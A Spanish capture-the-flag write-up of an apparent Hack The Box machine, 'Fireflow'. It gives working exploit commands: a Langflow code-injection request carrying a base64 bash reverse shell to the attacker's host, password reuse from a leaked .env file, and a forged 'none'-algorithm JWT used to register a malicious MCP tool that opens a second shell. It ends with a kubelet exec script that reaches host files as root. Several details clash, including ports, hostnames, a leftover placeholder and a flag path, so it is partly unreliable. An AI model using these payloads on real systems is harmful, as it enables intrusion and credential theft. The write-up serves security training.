Descripción
Fireflow es una máquina de Hack The Box de dificultad media que cuenta con las siguientes vulnerabilidades:
- Ejecución Remota de Comandos de la Aplicación Web LangFlow
- Pivote de usuario mediante el uso de credenciales encontradas en el archivo de entorno LangFlow
- Ejecución de comandos en un contenedor Kubernetes MCP usando una aplicación web vulnerable (desajuste del algoritmo JWT y creación de herramientas)
- Escalada de Privilegios vía un clúster de Kubernetes mal configurado con permiso
nodes/proxyque permite leer todos los archivos de contenedores privilegiados
Reconocimiento
Primero, vamos a verificar con el comando ping si la máquina está activa y cuál es su sistema operativo. La dirección IP de la máquina objetivo es 10.129.85.165.
$ ping -c 3 10.129.85.165
PING 10.129.85.165 (10.129.85.165) 56(84) bytes of data.
64 bytes from 10.129.85.165: icmp_seq=1 ttl=63 time=75.6 ms
64 bytes from 10.129.85.165: icmp_seq=2 ttl=63 time=46.5 ms
64 bytes from 10.129.85.165: icmp_seq=3 ttl=63 time=46.6 ms
--- 10.129.85.165 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 46.549/56.259/75.593/13.670 ms
La máquina está activa y con el TTL que es igual a 63 (64 menos 1 salto), podemos asegurar que es una máquina Unix. Ahora vamos a hacer un escaneo de puertos Nmap TCP SYN para verificar todos los puertos abiertos.
$ sudo nmap 10.129.85.165 -sS -oN nmap_scan
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.85.165
Host is up (0.048s latency).
Not shown: 992 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
443/tcp open https
9100/tcp filtered jetdirect
30000/tcp filtered ndmps
30718/tcp filtered unknown
30951/tcp filtered unknown
31038/tcp filtered unknown
31337/tcp filtered Elite
Nmap done: 1 IP address (1 host up) scanned in 2.59 seconds
Obtenemos dos puertos abiertos: 22, 443. Y algunos otros puertos filtrados.
Enumeración
Luego realizamos un escaneo más avanzado, con la versión de servicio y scripts.
$ nmap 10.129.85.165 -sV -sC -p22,443 -oN nmap_scan_ports
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.85.165
Host is up (0.047s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.0p2 Debian 7+deb13u4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.68
|_http-title: Did not follow redirect to http://bedside.htb/
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.56 seconds
Obtenemos dos servicios: uno Terminal Seguro (SSH) y otro Protocolo de Transferencia de Hipertexto (HTTP). Dado que no tenemos credenciales viables para el servicio SSH, vamos a pasar al servicio HTTP. Añadimos el dominio fireflow.htb al archivo /etc/hosts.
$ echo '10.129.85.165 fireflow.htb' | sudo tee -a /etc/hosts
Encontramos una plataforma interna de automatización de inteligencia. También encontramos una sección sobre agentes de IA que ayudan con el mapeo de infraestructura adversaria y otras tareas de ciberseguridad. Podemos abrirlo haciendo clic en el botón Open Agent.
Nos redirigen al enlace https://flow.fireflow.htb/playground/7d84d636-af65-42e4-ac38-26e867052c25, así que añadimos el subdominio flow al archivo /etc/hosts.
$ echo '10.129.85.165 flow.fireflow.htb' | sudo tee -a /etc/hosts
Descubrimos que el agente está utilizando el constructor de IA Langflow a bajo nivel. Se presenta como un chat-bot, pero no está funcionando correctamente.

Explotación
CVE-2026-33017 es una vulnerabilidad crítica de Ejecución Remota de Código (RCE) e Inyección de Código, que afecta a las versiones de Langflow anteriores a 1.9.0. La falla existe dentro del punto final API POST /api/v1/build_public_tmp/{flow_id}/flow, el cual está diseñado para construir flujos de trabajo públicos sin requerir autenticación de usuario. Cuando una solicitud proporciona el parámetro opcional data, el punto final no logra sanitizar la carga útil (payload) entrante y procesa por error definiciones de flujo controladas por atacantes en lugar de los datos validados almacenados en la base de datos. Esta configuración de flujo personalizada, que puede incluir scripts arbitrarios de Python incrustados en componentes personalizados o definiciones de nodos, se pasa directamente a la función interna exec() de Python sin restricciones de sandboxing. Consecuentemente, un atacante remoto de red no autenticado puede enviar una única solicitud HTTP manipulada para ejecutar comandos maliciosos del sistema operativo, cosechar claves API de IA de alto valor o lograr un compromiso completo del host.
Para explotar la vulnerabilidad podemos interceptar las solicitudes para obtener los datos necesarios y luego ejecutar la prueba de concepto RCE sin autenticación mostrada en el informe de la vulnerabilidad en Github. En este caso, ya tenemos la variable flow_id como se encuentra en el enlace anterior, 7d84d636-af65-42e4-ac38-26e867052c25. Iniciamos el puerto TCP de escucha 1234 con nc -nvlp 1234 y ejecutamos la PoC. Podemos inyectar el comando en la clave value, al principio por ejemplo con la carga útil (payload) import os\n\n_command = os.system(\"echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4yNTQvMTIzNCAwPiYx | base64 -d | bash\")\n\n.
$ curl -k -X POST "https://flow.fireflow.htb/api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow" \
-H "Content-Type: application/json" \
-b "client_id=attacker" \
-d '{
"data": {
"nodes": [{
"id": "Exploit-001",
"type": "genericNode",
"position": {"x":0,"y":0},
"data": {
"id": "Exploit-001",
"type": "ExploitComp",
"node": {
"template": {
"code": {
"type": "code",
"required": true,
"show": true,
"multiline": true,
"value": "import os\n\n_command = os.system(\"echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4yNTQvMTIzNCAwPiYx | base64 -d | bash\")\n\nfrom lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name=\"X\"\n outputs=[Output(display_name=\"O\",name=\"o\",method=\"r\")]\n def r(self)->Data:\n return Data(data={})",
"name": "code",
"password": false,
"advanced": false,
"dynamic": false
},
"_type": "Component"
},
"description": "X",
"base_classes": ["Data"],
"display_name": "ExploitComp",
"name": "ExploitComp",
"frozen": false,
"outputs": [{"types":["Data"],"selected":"Data","name":"o","display_name":"O","method":"r","value":"__UNDEFINED__","cache":true,"allows_loop":false,"tool_mode":false,"hidden":null,"required_inputs":null,"group_outputs":false}],
"field_order": ["code"],
"beta": false,
"edited": false
}
}
}],
"edges": []
},
"inputs": null
}'
Recibimos una terminal inversa como el usuario www-data, actualizamos la terminal.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.15.254] from (UNKNOWN) [10.129.85.165] 34124
bash: cannot set terminal process group (1541): Inappropriate ioctl for device
bash: no job control in this shell
www-data@fireflow:/var/lib/langflow$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@fireflow:/var/lib/langflow$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@fireflow:/var/lib/langflow$ ^Z
...
$ stty raw -echo; fg
$ reset xterm
Encontramos el archivo de entorno para la aplicación LangFlow en el archivo /etc/langflow/.env y encontramos dos usuarios de consola en el sistema: root y nightfall.
www-data@fireflow:/var/lib/langflow$ ls -a /etc/langflow/
. .. .env
www-data@fireflow:/var/lib/langflow$ cat /etc/langflow/.env
LANGFLOW_AUTO_LOGIN=False
LANGFLOW_SUPERUSER=langflow
LANGFLOW_SUPERUSER_PASSWORD=n1ghtm4r3_b4_n1ghtf4ll
LANGFLOW_SECRET_KEY=XgDCYma6JZzT3XXyePTbr4vgWrrZ4Vzz-PCQ4PXfKgE
LANGFLOW_CONFIG_DIR=/var/lib/langflow
LANGFLOW_LOG_LEVEL=warning
LANGFLOW_NEW_USER_IS_ACTIVE=False
LANGFLOW_CORS_ORIGINS=https://flow.fireflow.htb,https://fireflow.htb
www-data@fireflow:/var/lib/langflow$ grep sh /etc/passwd
root:x:0:0:root:/root:/bin/bash
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
nightfall:x:1000:1000::/home/nightfall:/bin/bash
Con la contraseña encontrada en el archivo de entorno, n1ghtm4r3_b4_n1ghtf4ll, podemos crear una nueva sesión usando SSH con el usuario nightfall, ya que la contraseña se reutiliza.
$ ssh nightfall@fireflow.htb
nightfall@fireflow.htb's password:
...
nightfall@fireflow:~$ id
uid=1000(nightfall) gid=1000(nightfall) groups=1000(nightfall)
Post-Explotación
Al enumerar la carpeta personal de nightfall encontramos un archivo de configuración MCP en el archivo /home/nightfall/.mcp/config.json.
nightfall@fireflow:~$ ls -a
. .. .bash_history .bash_logout .bashrc .cache .local .mcp .profile user.txt
nightfall@fireflow:~$ cat .mcp/config.json
{
"server": "http://10.129.85.165:30080",
"status_endpoint": "/api/v1/version",
"user": "langflow-bot",
"password": "Langfl0w@mcp2026!"
}
Se encuentran las credenciales para un servidor interno MCP ubicado en el puerto 30080, con el usuario langflow-bot y la contraseña Langfl0w@mcp2026!. Podemos verificar si está funcionando leyendo la respuesta de una solicitud al endpoint /api/v1/version.
nightfall@fireflow:~$ curl -s http://127.0.0.1:30080/api/v1/version | jq
{
"service": "MCP AI Tool Registry",
"version": "0.1.0",
"auth": {
"type": "JWT",
"header": "Authorization: Bearer <token>",
"supported_algorithms": [
"HS256",
"none"
]
},
"docs": "/docs",
"endpoints": [
"POST /mcp [MCP JSON-RPC 2.0]",
"POST /api/v1/auth",
"GET /api/v1/tools",
"POST /api/v1/tools [admin]"
]
}
Efectivamente, el servidor está disponible y podemos autenticarnos con el endpoint auth, y usar las herramientas con el endpoint tools. Comenzamos listando las herramientas.
nightfall@fireflow:~$ curl -s http://127.0.0.1:30080/api/v1/tools | jq
[
{
"name": "ping_host",
"description": "Ping a target host 3 times and return ICMP output."
},
{
"name": "get_metrics_summary",
"description": "Return a summary of system memory and load average from /proc."
},
{
"name": "list_running_tasks",
"description": "List the top 20 running processes sorted by CPU usage."
}
]
Encontramos herramientas inofensivas. Si queremos registrar herramientas adicionales, necesitamos permisos de Administrador para consultar el endpoint tools con el método POST. Nos autenticamos con el endpoint auth.
nightfall@fireflow:~$ curl -s -H 'Content-Type: application/json' -d '{"username":"langflow-bot","password":"Langfl0w@mcp2026!"}' http://127.0.0.1:30080/api/v1/auth | jq
{
"access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoidXNlciJ9.RenGdHutrKPCOWjwYSJex8C_uMSmy7I8AMkhmTwf9Ps",
"token_type": "bearer"
}
El servidor devuelve un JSON Web Token (JWT) como un Bearer token para autenticarse en el servidor. Al decodificarlo encontramos que su carga útil es: {"sub":"langflow-bot","role": "user"}. El rol es user en lugar de admin, por lo que si usamos el token para autenticarnos en el endpoint la solicitud fallará.
nightfall@fireflow:~$ curl -s -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoidXNlciJ9.RenGdHutrKPCOWjwYSJex8C_uMSmy7I8AMkhmTwf9Ps' --data '{}' http://127.0.0.1:30080/api/v1/tools | jq
{
"detail": "Admin role required"
}
Podemos engañar la lógica de autorización JWT cambiando el campo del algoritmo de firma en el encabezado a none, ya que ahora está utilizando HS256, cifrado simétrico. Para esta tarea podemos usar fácilmente el servicio JWT Debugger y su funcionalidad JWT Encoder, obteniendo eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ. como el nuevo token con el rol admin.
nightfall@fireflow:~$ curl -s -H 'Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ.' --data '{}' http://127.0.0.1:30080/api/v1/tools | jq
{
"detail": [
{
"type": "model_attributes_type",
"loc": [
"body"
],
"msg": "Input should be a valid dictionary or object to extract fields from",
"input": "{}"
}
]
}
Encontramos que ahora la solicitud funciona, pero se recupera un error ya que los campos para la solicitud aún no han sido ingresados. Encontramos la documentación del servidor en el endpoint /docs que nos redirige al endpoint /openapi.json.
nightfall@fireflow:~$ curl -s -H 'Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ.' http://127.0.0.1:30080/docs
...
<script>
const ui = SwaggerUIBundle({
url: '/openapi.json',
...
nightfall@fireflow:~$ curl -s -H 'Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ.' http://127.0.0.1:30080/openapi.json
{"openapi":"3.1.0","info":{"title":"MCP AI Tool Registry — Task Force Nightfall","version":"0.1.0"},"paths":{"/api/v1/version":{"get":{"summary":"Version","operationId":"version_api_v1_version_get","responses":{"200":....
Esta es la versión formateada de la respuesta OpenAPI:
# API Purpose: Manage and dynamically register AI tools using the Model Context Protocol (MCP)
endpoints:
# Check system version
- GET /api/v1/version:
summary: Get the current API version.
requires_auth: false
# Login to get access
- POST /api/v1/auth:
summary: Authenticate with a username and password to receive a secure token.
parameters:
username: string (required)
password: string (required)
# View registered tools
- GET /api/v1/tools:
summary: List all AI tools currently available in the registry.
requires_auth: false
# Register a brand new tool
- POST /api/v1/tools:
summary: Dynamically inject a new functional tool into the system.
requires_auth: true (Bearer Token)
parameters:
name: string (required) # The unique identifier for the tool
description: string (required) # What the tool does (so the AI knows when to use it)
code: string (required) # The actual programming code logic to be executed
inputSchema: object (optional) # The structure of inputs the tool expects
# Native MCP bridge
- POST /mcp:
summary: The main entry point for native Model Context Protocol communication.
requires_auth: true (Bearer Token)
Así encontramos que necesitamos enviar los parámetros name, description y code en la solicitud para crear la nueva herramienta. En la variable code ingresaremos código Python para activar una terminal inversa a nuestro puerto TCP abierto 1235, el cual fue abierto previamente con el puerto nc -nvlp 1235.
nightfall@fireflow:~$ curl -s -H 'Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ.' -H "Content-Type: application/json" --data '{"name":"malicious-tool","description":"Malicious Tool","code":"import os\ncommand = os.system(\"echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4yNTQvMTIzNSAwPiYx | base64 -d | bash\")"}' http://127.0.0.1:30080/api/v1/tools | jq
{
"status": "registered",
"name": "malicious-tool"
}
La herramienta maliciosa está registrada con éxito; la activamos con los parámetros estándar de MCP.
nightfall@fireflow:~$ curl -s -H 'Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ.' -H "Content-Type: application/json" --data '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"malicious-tool","arguments":{}}}' http://127.0.0.1:30080/mcp | jq
Recibimos una terminal inversa del usuario mcp desde un contenedor de Kubernetes.
$ nc -nvlp 1235
listening on [any] 1235 ...
connect to [10.10.15.254] from (UNKNOWN) [10.129.85.165] 17762
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
mcp@mcp-server-54464cb475-29ztf:/app$ id
uid=1000(mcp) gid=1000(mcp) groups=1000(mcp)
mcp@mcp-server-54464cb475-29ztf:/app$ env
env
KUBERNETES_SERVICE_PORT_HTTPS=443
PYTHON_SHA256=272179ddd9a2e41a0fc8e42e33dfbdca0b3711aa5abf372d3f2d51543d09b625
KUBERNETES_SERVICE_PORT=443
HOSTNAME=mcp-server-54464cb475-29ztf
...
Podemos iniciar la enumeración de Kubernetes en busca de vulnerabilidades desde dentro del pod (con solo curl/python3 disponibles). Cada pod generalmente tiene un token ServiceAccount montado automáticamente. Vamos a leerlo junto con el certificado CA del clúster y el espacio de nombres, y luego guardarlo en variables. Luego preguntamos al servidor API directamente usando un SelfSubjectRulesReview:
mcp@mcp-server-54464cb475-29ztf:/app$ TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
mcp@mcp-server-54464cb475-29ztf:/app$ CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
mcp@mcp-server-54464cb475-29ztf:/app$ NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
mcp@mcp-server-54464cb475-29ztf:/app$ KAPI="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"
mcp@mcp-server-54464cb475-29ztf:/app$ curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" -X POST -H "Content-Type: application/json" -d '{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"'"$NS"'"}}' $KAPI/apis/authorization.k8s.io/v1/selfsubjectrulesreviews
{
"kind": "SelfSubjectRulesReview",
"apiVersion": "authorization.k8s.io/v1",
"metadata": {},
"spec": {},
"status": {
"resourceRules": [
{
"verbs": [
"create"
],
"apiGroups": [
"authorization.k8s.io"
],
"resources": [
"selfsubjectaccessreviews",
"selfsubjectrulesreviews"
]
},
{
"verbs": [
"create"
],
"apiGroups": [
"authentication.k8s.io"
],
"resources": [
"selfsubjectreviews"
]
},
{
"verbs": [
"get"
],
"apiGroups": [
""
],
"resources": [
"nodes/proxy"
]
}
],
...
El resultado reveló un permiso get en nodes/proxy, la capacidad de reenviar solicitudes a través del servidor API directamente a la API Kubelet de un nodo. nodes/proxy requiere el nombre de nodo exacto. Dado que no se concedió list/get en nodes, el nombre del nodo fue inferido a partir del nombre de host conocido de la máquina (fireflow) y confirmado mediante una petición:
mcp@mcp-server-54464cb475-29ztf:/app$ curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" $KAPI/api/v1/nodes/fireflow/proxy/pods
{"kind":"PodList","apiVersion":"v1","metadata":{},"items":[{"metadata":...
Un 200 OK con datos de pod confirmó que el nombre del nodo era correcto. Luego enumeramos todos los pods programados en el nodo a través del proxy Kubelet, guardando en disco para mantener la salida de la terminal manejable:
mcp@mcp-server-54464cb475-29ztf:/app$ curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" $KAPI/api/v1/nodes/fireflow/proxy/pods -o /tmp/pods.json
mcp@mcp-server-54464cb475-29ztf:/app$ python3 -c "
import json
data = json.load(open('/tmp/pods.json'))
for item in data['items']:
ns = item['metadata']['namespace']
name = item['metadata']['name']
containers = [c['name'] for c in item['spec']['containers']]
hostpaths = [v.get('hostPath',{}).get('path') for v in item['spec'].get('volumes',[]) if 'hostPath' in v]
print(ns, '|', name, '|', containers, '|', 'hostPath:', hostpaths)
"
kube-system | local-path-provisioner-8686667995-lp9th | ['local-path-provisioner'] | hostPath: []
kube-system | metrics-server-c8774f4f4-phw6q | ['metrics-server'] | hostPath: []
monitoring | prometheus-server-867bb4fcfd-m4t59 | ['prometheus-server-configmap-reload', 'prometheus-server'] | hostPath: []
monitoring | prometheus-kube-state-metrics-7c8c787854-25j6q | ['kube-state-metrics'] | hostPath: []
default | mcp-server-54464cb475-29ztf | ['mcp-server'] | hostPath: []
monitoring | prometheus-prometheus-node-exporter-nmntq | ['node-exporter'] | hostPath: ['/proc', '/sys', '/']
kube-system | coredns-76c974cb66-cn7l6 | ['coredns'] | hostPath: []
Esto reveló un pod prometheus-node-exporter en el namespace monitoring montando un volumen root, el patrón de node-exporter de montar todo el sistema de archivos del host para la recolección de métricas. Se confirmó la ruta de montaje exacta:
mcp@mcp-server-54464cb475-29ztf:/app$ python3 -c "
import json
data = json.load(open('/tmp/pods.json'))
for item in data['items']:
if item['metadata']['name'] == 'prometheus-prometheus-node-exporter-nmntq':
for c in item['spec']['containers']:
for vm in c.get('volumeMounts', []):
if vm['name'] == 'root':
print(c['name'], '->', vm['mountPath'])
"
node-exporter -> /host/root
El / del host está montado en /host/root dentro del contenedor. La ruta de proxy del API-server solo permite solicitudes GET (mapeadas al verbo get) debido a que los endpoints basados en RBAC como /run/ estaban prohibidos. Sin embargo, el propio Kubelet puede ser alcanzado directamente en su IP de nodo si la conectividad de red lo permite, eludiendo las restricciones de verbos del servidor API en nodes/proxy. Recuperamos la IP real del nodo de la lista de pods:
mcp@mcp-server-54464cb475-29ztf:/app$ grep -oE '"hostIP":"[^"]*"' /tmp/pods.json | sort -u
"hostIP":"10.129.85.166"
Confirmamos que Kubelet acepta el token ServiceAccount directamente en el puerto 10250:
mcp@mcp-server-54464cb475-29ztf:/app$ NODE_IP=10.129.85.166
mcp@mcp-server-54464cb475-29ztf:/app$ curl -sk -H "Authorization: Bearer $TOKEN" "https://<NODE_IP>:10250/pods" -o /dev/null -w "HTTP_CODE:%{http_code}\n"
HTTP_CODE:200
El endpoint de Kubelet requiere un POST (mapeado a create, que este ServiceAccount carece), pero /exec/ utiliza un GET con una mejora de protocolo WebSocket, haciendo coincidir el permiso get disponible. Dado que curl no puede completar este apretón de manos de actualización, se utiliza en su lugar un script Python asyncio + websockets, que acepta un comando terminal como argumento.
cat > /tmp/kexec.py << 'PYEOF'
import asyncio
import ssl
import sys
import urllib.parse
import websockets
import inspect
import shlex
NODE_IP = "10.129.85.166"
PORT = 10250
NAMESPACE = "monitoring"
POD = "prometheus-prometheus-node-exporter-nmntq"
CONTAINER = "node-exporter"
def read_token():
with open("/var/run/secrets/kubernetes.io/serviceaccount/token") as f:
return f.read().strip()
async def main():
if len(sys.argv) < 2:
print(f"Usage: python3 {sys.argv[0]} <command>", file=sys.stderr)
sys.exit(1)
CMD = sys.argv[1]
token = read_token()
cmd_parts = shlex.split(CMD)
cmd_qs = "&".join(f"command={urllib.parse.quote(c)}" for c in cmd_parts)
uri = (f"wss://{NODE_IP}:{PORT}/exec/{NAMESPACE}/{POD}/{CONTAINER}"
f"?{cmd_qs}&input=1&output=1&tty=false&stderr=1&stdout=1")
ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
ssl_ctx.check_hostname = False
ssl_ctx.verify_mode = ssl.CERT_NONE
headers = {"Authorization": f"Bearer {token}"}
sig = inspect.signature(websockets.connect)
kwargs = dict(
subprotocols=["v4.channel.k8s.io", "channel.k8s.io"],
ssl=ssl_ctx,
max_size=None,
)
if "additional_headers" in sig.parameters:
kwargs["additional_headers"] = headers
elif "extra_headers" in sig.parameters:
kwargs["extra_headers"] = headers
try:
async with websockets.connect(uri, **kwargs) as ws:
print(f"[+] Connected, subprotocol: {ws.subprotocol}", file=sys.stderr)
try:
while True:
msg = await asyncio.wait_for(ws.recv(), timeout=5)
if isinstance(msg, bytes) and len(msg) > 0:
channel = msg[0]
data = msg[1:]
if channel == 1:
sys.stdout.buffer.write(data)
sys.stdout.flush()
elif channel == 2:
sys.stderr.buffer.write(data)
sys.stderr.flush()
except asyncio.TimeoutError:
pass
except Exception as e:
print(f"[!] Error: {e}", file=sys.stderr)
asyncio.run(main())
PYEOF
La ejecución de código se confirma como root dentro del contenedor:
mcp@mcp-server-54464cb475-29ztf:/app$ python3 /tmp/kexec.py 'id'
[+] Connected, subprotocol: v4.channel.k8s.io
uid=0(root) gid=65534(nobody) groups=10(wheel),65534(nobody)
Flags
Dado que /host/root se mapea al / del host, el /root/root.txt del host es accesible en /host/root/root/root.txt y la flag /home/nightfall/user.txt en el archivo /home/root/home/nightfall/user.txt.
mcp@mcp-server-54464cb475-29ztf:/app$ python3 /tmp/kexec.py 'cat /host/root/home/nightfall/user.txt'
[+] Connected, subprotocol: v4.channel.k8s.io
<REDACTED>
mcp@mcp-server-54464cb475-29ztf:/app$ python3 /tmp/kexec.py 'cat /host/root/root/root.txt'
[+] Connected, subprotocol: v4.channel.k8s.io
<REDACTED>